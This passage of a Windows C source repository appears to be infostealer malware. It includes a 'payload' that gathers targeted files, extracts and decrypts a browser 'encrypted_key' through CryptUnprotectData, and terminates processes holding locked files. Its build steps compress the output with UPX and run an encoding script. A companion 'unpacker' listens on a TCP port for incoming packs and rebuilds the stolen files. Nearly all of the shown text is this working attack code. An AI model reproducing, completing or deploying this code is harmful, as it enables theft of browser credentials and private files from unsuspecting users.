PackWriteFile(Pack* pack, const char* path); 31 | bool PackWriteBuffer(Pack* pack, const char* name, const char* buffer, size_t len); 32 | bool PackSend(Pack* pack, const char* host, unsigned short port); 33 | 34 | void PackTargetFiles(Pack* pack, char* base, char** targets, size_t len); 35 | void PackDirectoryFiles(Pack* pack, char* dirpath, char** extensions, size_t len); 36 | -------------------------------------------------------------------------------- /payload/payload.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | DebugExe 6 | Win32 7 | 8 | 9 | DebugExe 10 | x64 11 | 12 | 13 | Debug 14 | Win32 15 | 16 | 17 | Release 18 | Win32 19 | 20 | 21 | Debug 22 | x64 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | Win32Proj 32 | {300537b1-6233-47ea-bafb-f66e24a26373} 33 | ADR 34 | 10.0 35 | payload 36 | 37 | 38 | 39 | DynamicLibrary 40 | true 41 | v143 42 | Unicode 43 | 44 | 45 | Application 46 | true 47 | v143 48 | Unicode 49 | 50 | 51 | DynamicLibrary 52 | false 53 | v143 54 | true 55 | Unicode 56 | 57 | 58 | DynamicLibrary 59 | true 60 | v143 61 | Unicode 62 | 63 | 64 | Application 65 | true 66 | v143 67 | Unicode 68 | 69 | 70 | DynamicLibrary 71 | false 72 | v143 73 | true 74 | Unicode 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include 102 | 103 | 104 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include 105 | 106 | 107 | 108 | 109 | false 110 | 111 | 112 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include 113 | 114 | 115 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include 116 | 117 | 118 | 119 | 120 | 121 | 122 | true 123 | true 124 | true 125 | 126 | 127 | true 128 | 129 | 130 | true 131 | 132 | 133 | true 134 | 135 | 136 | true 137 | 138 | 139 | true 140 | 141 | 142 | true 143 | 144 | 145 | 146 | Level3 147 | true 148 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 149 | true 150 | stdcpplatest 151 | stdc17 152 | MultiThreadedDebugDLL 153 | 154 | 155 | Windows 156 | true 157 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies) 158 | 159 | 160 | python $(SolutionDir)encode.py $(SolutionDir)x64\$(Configuration)\ADR.dll 161 | 162 | 163 | 164 | 165 | Level3 166 | true 167 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_DEBUG_EXE 168 | true 169 | stdcpplatest 170 | stdc17 171 | MultiThreadedDebugDLL 172 | 173 | 174 | Windows 175 | true 176 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies) 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | Level3 186 | true 187 | true 188 | true 189 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions); 190 | true 191 | stdcpplatest 192 | stdc17 193 | MultiThreadedDLL 194 | 195 | 196 | Windows 197 | true 198 | true 199 | true 200 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies) 201 | 202 | 203 | python $(SolutionDir)encode.py $(SolutionDir)x64\$(Configuration)\ADR.dll 204 | 205 | 206 | 207 | 208 | Level3 209 | true 210 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions); 211 | true 212 | stdcpplatest 213 | stdc17 214 | MultiThreadedDebugDLL 215 | 216 | 217 | Windows 218 | true 219 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies) 220 | 221 | 222 | python $(SolutionDir)encode.py $(SolutionDir)x64\$(Configuration)\ADR.dll 223 | 224 | 225 | 226 | 227 | Level3 228 | true 229 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions);;_DEBUG_EXE 230 | true 231 | stdcpplatest 232 | stdc17 233 | MultiThreadedDebugDLL 234 | 235 | 236 | Windows 237 | true 238 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies) 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | Level3 248 | true 249 | true 250 | false 251 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions); 252 | true 253 | Default 254 | Default 255 | MultiThreadedDLL 256 | MinSpace 257 | AnySuitable 258 | false 259 | false 260 | true 261 | None 262 | Size 263 | true 264 | true 265 | None 266 | 267 | 268 | Windows 269 | true 270 | true 271 | false 272 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies) 273 | NoErrorReport 274 | false 275 | 276 | 277 | upx --best $(TargetPath) && python $(SolutionDir)encode.py $(TargetPath) 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | -------------------------------------------------------------------------------- /payload/payload.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /payload/payload.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | true 5 | 6 | -------------------------------------------------------------------------------- /payload/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define _CRT_SECURE_NO_WARNINGS 3 | #define _CRTDBG_MAP_ALLOC 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #pragma comment(lib, "ws2_32.lib") 23 | #pragma comment(lib, "shlwapi.lib") 24 | #pragma comment(lib, "cabinet.lib") 25 | #pragma comment(lib, "rstrtmgr.lib") 26 | 27 | #ifdef _DEBUG_EXE 28 | #include 29 | #endif // _DEBUG_EXE 30 | 31 | #define BUFFER_SIZE 4096 // BUFSIZ * 8 32 | 33 | 34 | /* 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #pragma comment(lib, "iphlpapi.lib") 41 | 42 | #include 43 | #pragma comment(lib, "wininet.lib") 44 | 45 | */ 46 | 47 | 48 | #define SAFE_FREE(x)\ 49 | if(x != NULL)\ 50 | {\ 51 | free(x);\ 52 | } 53 | 54 | #define NULL_RET(x, ret)\ 55 | if(x == NULL)\ 56 | {\ 57 | return ret;\ 58 | } 59 | -------------------------------------------------------------------------------- /payload/utils.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | wchar_t* StringToWString(const char* str) 4 | { 5 | int size = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0); 6 | NULL_RET(size, NULL); 7 | 8 | wchar_t* result = (wchar_t*)malloc(sizeof(wchar_t) * size); 9 | NULL_RET(result, NULL); 10 | 11 | MultiByteToWideChar(CP_UTF8, 0, str, -1, result, size); 12 | return result; 13 | } 14 | 15 | char* WStringToString(const wchar_t* wstr) 16 | { 17 | int size = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL); 18 | NULL_RET(size, NULL); 19 | 20 | char* result = (char*)malloc(size); 21 | NULL_RET(result, NULL); 22 | 23 | WideCharToMultiByte(CP_UTF8, 0, wstr, -1, result, size, NULL, NULL); 24 | return result; 25 | } 26 | 27 | 28 | char* GetEncryptionKeyString(const char* path) 29 | { 30 | if (IsFileBusy(path)) 31 | { 32 | if (!TerminateBusyFileProc(path)) 33 | { 34 | return NULL; 35 | } 36 | } 37 | 38 | HANDLE hFile = CreateFileA(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 39 | if (hFile == INVALID_HANDLE_VALUE) return NULL; 40 | 41 | LARGE_INTEGER fileSize; 42 | if (!GetFileSizeEx(hFile, &fileSize)) 43 | { 44 | CloseHandle(hFile); 45 | return NULL; 46 | } 47 | 48 | DWORD bytesRead; 49 | char* buffer = (char*)malloc(fileSize.QuadPart + 1); 50 | if (!buffer) 51 | { 52 | CloseHandle(hFile); 53 | return NULL; 54 | } 55 | 56 | if (!ReadFile(hFile, buffer, fileSize.QuadPart, &bytesRead, NULL)) 57 | { 58 | free(buffer); 59 | CloseHandle(hFile); 60 | return NULL; 61 | } 62 | CloseHandle(hFile); 63 | buffer[bytesRead] = '\0'; 64 | 65 | const char* keyToFind = "\"encrypted_key\""; 66 | const char* endQuote = "\""; 67 | 68 | const char* keyStart = strstr(buffer, keyToFind); 69 | 70 | if (keyStart) 71 | { 72 | keyStart += strlen(keyToFind); 73 | 74 | char* key = malloc(sizeof(0)); 75 | size_t len = 0; 76 | if (!key) 77 | { 78 | free(buffer); 79 | return NULL; 80 | } 81 | 82 | bool readKey = false; 83 | while (*keyStart) 84 | { 85 | if (*keyStart == ' ' || *keyStart == ':') 86 | { 87 | keyStart++; 88 | continue; 89 | } 90 | 91 | if (*keyStart == '"') 92 | { 93 | if (readKey) 94 | { 95 | readKey = false; 96 | 97 | key = realloc(key, len + 1); 98 | key[len] = '\0'; 99 | free(buffer); 100 | return key; 101 | } 102 | else 103 | { 104 | readKey = true; 105 | } 106 | } 107 | else if (readKey) 108 | { 109 | key = realloc(key, len + 1); 110 | key[len] = *keyStart; 111 | len++; 112 | } 113 | 114 | keyStart++; 115 | } 116 | 117 | free(key); 118 | } 119 | 120 | free(buffer); 121 | return NULL; 122 | } 123 | 124 | char* ExtractEncyrptionKey(const char* ckey) 125 | { 126 | if (ckey == NULL) return NULL; 127 | 128 | size_t key_size = 0; 129 | char* key = Base64Decode(ckey, strlen(ckey), &key_size); 130 | if (key == NULL || key_size <= 5) 131 | { 132 | SAFE_FREE(key); 133 | return NULL; 134 | } 135 | 136 | DATA_BLOB input_blob; 137 | input_blob.cbData = key_size - 5; 138 | input_blob.pbData = key + 5; 139 | 140 | DATA_BLOB output_blob; 141 | if (!CryptUnprotectData(&input_blob, NULL, NULL, NULL, NULL, 0, &output_blob)) 142 | { 143 | free(key); 144 | return NULL; 145 | } 146 | 147 | char* master_key = (char*)malloc(output_blob.cbData + 1); 148 | if (master_key == NULL) 149 | { 150 | LocalFree(output_blob.pbData); 151 | free(key); 152 | return NULL; 153 | } 154 | memcpy(master_key, output_blob.pbData, output_blob.cbData); 155 | master_key[output_blob.cbData] = '\0'; 156 | 157 | LocalFree(output_blob.pbData); 158 | free(key); 159 | 160 | size_t master_size = output_blob.cbData; 161 | return Base64Encode(master_key, master_size); 162 | } 163 | 164 | bool TerminateBusyFileProc(const char* path) 165 | { 166 | DWORD dwSession; 167 | WCHAR szSessionKey[CCH_RM_SESSION_KEY + 1] = { 0 }; 168 | DWORD dwError = RmStartSession(&dwSession, 0, szSessionKey); 169 | 170 | if (dwError != ERROR_SUCCESS) 171 | { 172 | return false; 173 | } 174 | 175 | const wchar_t* filepath = StringToWString(path); 176 | if (!filepath) 177 | { 178 | RmEndSession(dwSession); 179 | return false; 180 | } 181 | 182 | dwError = RmRegisterResources(dwSession, 1, &filepath, 0, NULL, 0, NULL); 183 | if (dwError != ERROR_SUCCESS) 184 | { 185 | RmEndSession(dwSession); 186 | free(filepath); 187 | return false; 188 | } 189 | 190 | DWORD dwReason; 191 | UINT nProcInfoNeeded; 192 | UINT nProcInfo = 10; 193 | RM_PROCESS_INFO rgpi[10]; 194 | 195 | dwError = RmGetList(dwSession, &nProcInfoNeeded, &nProcInfo, rgpi, &dwReason); 196 | if (dwError != ERROR_SUCCESS) 197 | { 198 | RmEndSession(dwSession); 199 | free(filepath); 200 | return false; 201 | } 202 | 203 | for (UINT i = 0; i < nProcInfo; i++) 204 | { 205 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, rgpi[i].Process.dwProcessId); 206 | if (!hProcess) continue; 207 | 208 | //SendMessageA(hProcess, WM_CLOSE, 0, 0); 209 | TerminateProcess(hProcess, 0); 210 | 211 | CloseHandle(hProcess); 212 | } 213 | 214 | RmEndSession(dwSession); 215 | free(filepath); 216 | return true; 217 | } 218 | 219 | bool IsFileBusy(const char* path) 220 | { 221 | HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 222 | if (hFile == INVALID_HANDLE_VALUE) return true; 223 | CloseHandle(hFile); 224 | return false; 225 | } 226 | 227 | char* GetWinFolderById(REFKNOWNFOLDERID id) 228 | { 229 | PWSTR pwPath = NULL; 230 | char* path = NULL; 231 | 232 | HRESULT result = SHGetKnownFolderPath(id, 0, NULL, &pwPath); 233 | if (SUCCEEDED(result)) 234 | { 235 | path = WStringToString(pwPath); 236 | } 237 | CoTaskMemFree(pwPath); 238 | return path; 239 | } 240 | 241 | bool IsValidDirectory(const WIN32_FIND_DATAA findData) 242 | { 243 | return (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && 244 | strcmp(findData.cFileName, ".") != 0 && 245 | strcmp(findData.cFileName, "..") != 0; 246 | } -------------------------------------------------------------------------------- /payload/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "stdafx.h" 3 | #include "b64/b64.h" 4 | 5 | #ifdef _DEBUG || _DEBUG_EXE 6 | #define DBG_FILE_SIZE(path)\ 7 | {\ 8 | WIN32_FILE_ATTRIBUTE_DATA fileInfo;\ 9 | if (GetFileAttributesExA(path, GetFileExInfoStandard, &fileInfo))\ 10 | {\ 11 | ULARGE_INTEGER fileSize;\ 12 | fileSize.LowPart = fileInfo.nFileSizeLow;\ 13 | fileSize.HighPart = fileInfo.nFileSizeHigh;\ 14 | printf("%s: (%llu)\n", path, fileSize.QuadPart);\ 15 | }\ 16 | } 17 | #endif // _DEBUG || _DEBUG_EXE 18 | 19 | 20 | wchar_t* StringToWString(const char* str); 21 | char* WStringToString(const wchar_t* wstr); 22 | 23 | char* GetEncryptionKeyString(const char* path); 24 | char* ExtractEncyrptionKey(const char* key); 25 | 26 | bool TerminateBusyFileProc(const char* path); 27 | bool IsFileBusy(const char* path); 28 | 29 | char* GetWinFolderById(REFKNOWNFOLDERID id); 30 | bool IsValidDirectory(const WIN32_FIND_DATAA findData); -------------------------------------------------------------------------------- /unpacker/main.c: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | #include "sock/sock.h" 4 | #include "unpack/unpack.h" 5 | 6 | int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ char* pCmdLine, _In_ int nCmdShow) 7 | { 8 | #ifdef _DEBUG 9 | _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); 10 | #endif // _DEBUG 11 | 12 | if (AllocConsole()) 13 | { 14 | FILE* fDummy; 15 | freopen_s(&fDummy, "CONOUT$", "w", stdout); 16 | freopen_s(&fDummy, "CONOUT$", "w", stderr); 17 | freopen_s(&fDummy, "CONIN$", "r", stdin); 18 | 19 | fflush(stdout); 20 | fflush(stderr); 21 | fflush(stdin); 22 | } 23 | 24 | if (__argc <= 1) 25 | { 26 | StartServer(); 27 | } 28 | else 29 | { 30 | ADR_LOG("Unpacker Mode"); 31 | for (size_t i = 1; i < __argc; i++) 32 | { 33 | char* file = __argv[i]; 34 | if (!PathFileExistsA(file)) 35 | { 36 | ADR_LOG("Pack not found (%s)", file); 37 | continue; 38 | } 39 | 40 | if (!PackDecompress(file)) 41 | { 42 | ADR_LOG("Pack decompression failed (%s)", file); 43 | continue; 44 | } 45 | 46 | if (!PackBuildStructure(file)) 47 | { 48 | ADR_LOG("Pack structure corrupted (%s)", file); 49 | continue; 50 | } 51 | 52 | ADR_LOG("Unpack success (%s)", file); 53 | } 54 | } 55 | 56 | 57 | #ifdef _DEBUG 58 | _CrtDumpMemoryLeaks(); 59 | #endif // _DEBUG 60 | 61 | WaitForInputIdle(GetCurrentProcess(), INFINITE); 62 | return EXIT_SUCCESS; 63 | } -------------------------------------------------------------------------------- /unpacker/sock/sock.c: -------------------------------------------------------------------------------- 1 | #include "sock.h" 2 | 3 | 4 | void HandleClient(SOCKET client) 5 | { 6 | SYSTEMTIME current_time; 7 | GetLocalTime(¤t_time); 8 | 9 | char filename[50]; 10 | snprintf(filename, sizeof(filename), "pack_%04d-%02d-%02d_%02d-%02d-%02d", 11 | current_time.wYear, current_time.wMonth, current_time.wDay, 12 | current_time.wHour, current_time.wMinute, current_time.wSecond); 13 | 14 | HANDLE hFile = CreateFileA(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 15 | if (hFile == INVALID_HANDLE_VALUE) 16 | { 17 | ADR_LOG("Error creating file (%s)", filename); 18 | return; 19 | } 20 | 21 | char buffer[BUFFER_SIZE]; 22 | int bytes_received = 0; 23 | while (1) 24 | { 25 | bytes_received = recv(client, buffer, BUFFER_SIZE, 0); 26 | if (bytes_received <= 0) 27 | { 28 | break; 29 | } 30 | 31 | DWORD bytes_written = 0; 32 | if (!WriteFile(hFile, buffer, bytes_received, &bytes_written, NULL) || bytes_written != bytes_received) 33 | { 34 | ADR_LOG("Error writing to file (%s)", filename); 35 | break; 36 | } 37 | } 38 | 39 | CloseHandle(hFile); 40 | closesocket(client); 41 | } 42 | 43 | 44 | bool StartServer() 45 | { 46 | ADR_LOG("Server Mode"); 47 | 48 | WSADATA wsaData; 49 | if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) 50 | { 51 | ADR_LOG("WSAStartup failed"); 52 | return false; 53 | } 54 | 55 | SOCKET server_socket; 56 | server_socket = socket(AF_INET, SOCK_STREAM, 0); 57 | 58 | if (server_socket == INVALID_SOCKET) 59 | { 60 | ADR_LOG("Socket creation failed"); 61 | return false; 62 | } 63 | 64 | struct sockaddr_in server_addr; 65 | server_addr.sin_family = AF_INET; 66 | server_addr.sin_addr.s_addr = INADDR_ANY; 67 | server_addr.sin_port = htons(ADR_PORT); 68 | 69 | if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) 70 | { 71 | ADR_LOG("Socket binding failed"); 72 | closesocket(server_socket); 73 | return false; 74 | } 75 | 76 | if (listen(server_socket, 5) == SOCKET_ERROR) 77 | { 78 | ADR_LOG("Listen failed"); 79 | closesocket(server_socket); 80 | return false; 81 | } 82 | 83 | ADR_LOG("Server listening on port %d", ADR_PORT); 84 | 85 | while (1) { 86 | SOCKET client_socket; 87 | struct sockaddr_in client_addr; 88 | int client_addr_len = sizeof(client_addr); 89 | 90 | client_socket = accept(server_socket, (struct sockaddr*)&client_addr, &client_addr_len); 91 | if (client_socket == INVALID_SOCKET) 92 | { 93 | ADR_LOG("Accept failed"); 94 | continue; 95 | } 96 | 97 | ADR_LOG("Accepted connection from %s:%d\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); 98 | 99 | HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleClient, (LPVOID)client_socket, 0, NULL); 100 | if (thread == NULL) 101 | { 102 | ADR_LOG("Thread creation failed"); 103 | closesocket(client_socket); 104 | continue; 105 | } 106 | 107 | CloseHandle(thread); 108 | } 109 | 110 | closesocket(server_socket); 111 | WSACleanup(); 112 | 113 | return true; 114 | } 115 | -------------------------------------------------------------------------------- /unpacker/sock/sock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "../stdafx.h" 3 | 4 | 5 | void HandleClient(SOCKET client); 6 | 7 | bool StartServer(); -------------------------------------------------------------------------------- /unpacker/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define _CRT_SECURE_NO_WARNINGS 4 | #define _CRTDBG_MAP_ALLOC 5 | #define _WINSOCK_DEPRECATED_NO_WARNINGS 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | 21 | #pragma comment(lib, "cabinet.lib") 22 | #pragma comment(lib, "ws2_32.lib") 23 | #pragma comment(lib, "shlwapi.lib") 24 | 25 | #ifdef _DEBUG || _DEBUG_EXE 26 | #include 27 | #endif 28 | 29 | #define ADR_LOG(x, ...) printf("[ADR] " x "\n", __VA_ARGS__) 30 | #define ADR_PORT 12345 31 | #define BUFFER_SIZE 4096 //BUFSIZ * 8 32 | -------------------------------------------------------------------------------- /unpacker/unpack/unpack.c: -------------------------------------------------------------------------------- 1 | #include "unpack.h" 2 | 3 | bool PackDecompress(char* file) 4 | { 5 | HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 6 | if (hFile == INVALID_HANDLE_VALUE) return false; 7 | 8 | LARGE_INTEGER file_size; 9 | if (!GetFileSizeEx(hFile, &file_size)) 10 | { 11 | return false; 12 | } 13 | 14 | size_t in_size = file_size.QuadPart; 15 | BYTE* in_buffer = malloc(in_size); 16 | if (!in_buffer) 17 | { 18 | return false; 19 | } 20 | 21 | DWORD bytes_read = 0; 22 | if (!ReadFile(hFile, in_buffer, in_size, &bytes_read, NULL)) 23 | { 24 | free(in_buffer); 25 | return false; 26 | } 27 | 28 | if (bytes_read != in_size) 29 | { 30 | free(in_buffer); 31 | return false; 32 | } 33 | 34 | DECOMPRESSOR_HANDLE hDecompressor = NULL; 35 | if (!CreateDecompressor(COMPRESS_ALGORITHM_XPRESS_HUFF, NULL, &hDecompressor)) 36 | { 37 | free(in_buffer); 38 | return false; 39 | } 40 | 41 | 42 | size_t new_out_size = 0; 43 | Decompress(hDecompressor, in_buffer, file_size.QuadPart, NULL, 0, &new_out_size); 44 | 45 | size_t out_size = new_out_size; 46 | BYTE* out_buffer = malloc(out_size); 47 | 48 | if (!Decompress(hDecompressor, in_buffer, file_size.QuadPart, out_buffer, out_size, &new_out_size)) 49 | { 50 | free(out_buffer); 51 | free(in_buffer); 52 | CloseCompressor(hDecompressor); 53 | return false; 54 | } 55 | 56 | out_buffer = realloc(out_buffer, new_out_size); 57 | free(in_buffer); 58 | CloseCompressor(hDecompressor); 59 | CloseHandle(hFile); 60 | 61 | hFile = CreateFileA(file, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 62 | 63 | DWORD bytes_written = 0; 64 | if (!WriteFile(hFile, out_buffer, new_out_size, &bytes_written, NULL)) 65 | { 66 | free(out_buffer); 67 | CloseHandle(hFile); 68 | return false; 69 | } 70 | 71 | if (bytes_written != new_out_size) 72 | { 73 | free(out_buffer); 74 | CloseHandle(hFile); 75 | return false; 76 | } 77 | 78 | free(out_buffer); 79 | CloseHandle(hFile); 80 | return true; 81 | } 82 | 83 | bool PackBuildStructure(char* file) 84 | { 85 | HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 86 | if (hFile == INVALID_HANDLE_VALUE) return false; 87 | 88 | 89 | BYTE byte = 0; 90 | DWORD bytes_read = 0; 91 | DWORD size = 0; 92 | 93 | DataFileState state = R_PATH; 94 | 95 | char tmp_size[sizeof(size_t)]; 96 | size_t file_size = 0; 97 | char* file_path = malloc(0); 98 | 99 | HANDLE hOutFile = INVALID_HANDLE_VALUE; 100 | 101 | 102 | char* outdir = malloc(strlen(file) + 5); 103 | if (!outdir) return false; 104 | 105 | outdir = strcpy(outdir, file); 106 | outdir = strcat(outdir, "_out"); 107 | 108 | if (!PathIsDirectoryA(outdir)) 109 | { 110 | if (!CreateDirectoryA(outdir, NULL)) 111 | { 112 | free(outdir); 113 | return false; 114 | } 115 | } 116 | 117 | while (ReadFile(hFile, &byte, sizeof(byte), &bytes_read, NULL) && bytes_read > 0) 118 | { 119 | switch (state) 120 | { 121 | case R_PATH: 122 | { 123 | file_path = realloc(file_path, size + 1); 124 | file_path[size] = byte; 125 | size++; 126 | 127 | if (byte != 0) 128 | { 129 | break; 130 | } 131 | 132 | 133 | char* file_dest = PackGetOutName(outdir, file_path); 134 | if (file_dest == NULL) 135 | { 136 | free(file_path); 137 | free(outdir); 138 | return false; 139 | } 140 | 141 | char* dir_dest = malloc(strlen(file_dest) + 1); 142 | if (dir_dest == NULL) 143 | { 144 | free(file_path); 145 | free(outdir); 146 | 147 | free(file_dest); 148 | return false; 149 | } 150 | 151 | strcpy(dir_dest, file_dest); 152 | PathRemoveFileSpecA(dir_dest); 153 | 154 | if (!PathIsDirectoryA(dir_dest, NULL)) 155 | { 156 | if (!CreateDirectoryA(dir_dest, NULL)) 157 | { 158 | free(file_path); 159 | free(outdir); 160 | 161 | free(file_dest); 162 | free(dir_dest); 163 | 164 | return false; 165 | } 166 | } 167 | 168 | hOutFile = CreateFileA(file_dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 169 | if (hOutFile == INVALID_HANDLE_VALUE) 170 | { 171 | free(file_path); 172 | free(outdir); 173 | 174 | free(file_dest); 175 | free(dir_dest); 176 | 177 | return false; 178 | } 179 | 180 | free(file_dest); 181 | free(dir_dest); 182 | 183 | file_path = realloc(file_path, 0); 184 | 185 | state = R_FILESIZE; 186 | size = 0; 187 | } 188 | break; 189 | case R_FILESIZE: 190 | { 191 | tmp_size[size] = byte; 192 | size += 1; 193 | 194 | if (size >= sizeof(size_t)) 195 | { 196 | memmove(&file_size, tmp_size, sizeof(size_t)); 197 | 198 | state = R_FILEDATA; 199 | size = 0; 200 | } 201 | } 202 | break; 203 | case R_FILEDATA: 204 | { 205 | WriteFile(hOutFile, &byte, sizeof(BYTE), 0, 0); 206 | size = file_size - 1; 207 | 208 | char buffer[BUFFER_SIZE]; 209 | size_t next_size = BUFFER_SIZE; 210 | while(1) 211 | { 212 | if ((int)(size - next_size) <= 0) 213 | { 214 | next_size = size; 215 | } 216 | 217 | if (ReadFile(hFile, &buffer, next_size, &bytes_read, NULL) && bytes_read > 0) 218 | { 219 | WriteFile(hOutFile, &buffer, next_size, 0, NULL); 220 | 221 | size -= next_size; 222 | if (size <= 0) 223 | { 224 | break; 225 | } 226 | } 227 | else { 228 | break; 229 | } 230 | } 231 | 232 | CloseHandle(hOutFile); 233 | hOutFile = INVALID_HANDLE_VALUE; 234 | 235 | state = R_PATH; 236 | file_size = 0; 237 | size = 0; 238 | } 239 | break; 240 | } 241 | } 242 | 243 | CloseHandle(hFile); 244 | free(file_path); 245 | free(outdir); 246 | return true; 247 | } 248 | 249 | char* PackGetOutName(char* base_path, char* ext_path) 250 | { 251 | size_t base_len = strlen(base_path); 252 | size_t ext_len = strlen(ext_path); 253 | 254 | size_t findex = 0; 255 | for (size_t i = 0; i < ext_len; i++) 256 | { 257 | if (ext_path[i] == '\\') 258 | { 259 | findex = i; 260 | ext_path[i] = '_'; 261 | } 262 | else if (ext_path[i] == ':' || ext_path[i] == '.') 263 | { 264 | ext_path[i] = '_'; 265 | } 266 | } 267 | 268 | ext_path[findex] = '\\'; 269 | 270 | 271 | char* outpath = malloc(base_len + ext_len + 2); 272 | memcpy(outpath, base_path, base_len + 1); 273 | outpath[strlen(outpath)] = '\\'; 274 | memcpy(outpath + base_len + 1, ext_path, ext_len + 1); 275 | return outpath; 276 | } -------------------------------------------------------------------------------- /unpacker/unpack/unpack.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "../stdafx.h" 3 | 4 | typedef enum DataFileState { 5 | R_PATH = 0, 6 | R_FILESIZE, 7 | R_FILEDATA 8 | }DataFileState; 9 | 10 | bool PackDecompress(char* file); 11 | 12 | bool PackBuildStructure(char* file); 13 | 14 | char* PackGetOutName(char* base, char* ext_path); -------------------------------------------------------------------------------- /unpacker/unpacker.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | -------------------------------------------------------------------------------- 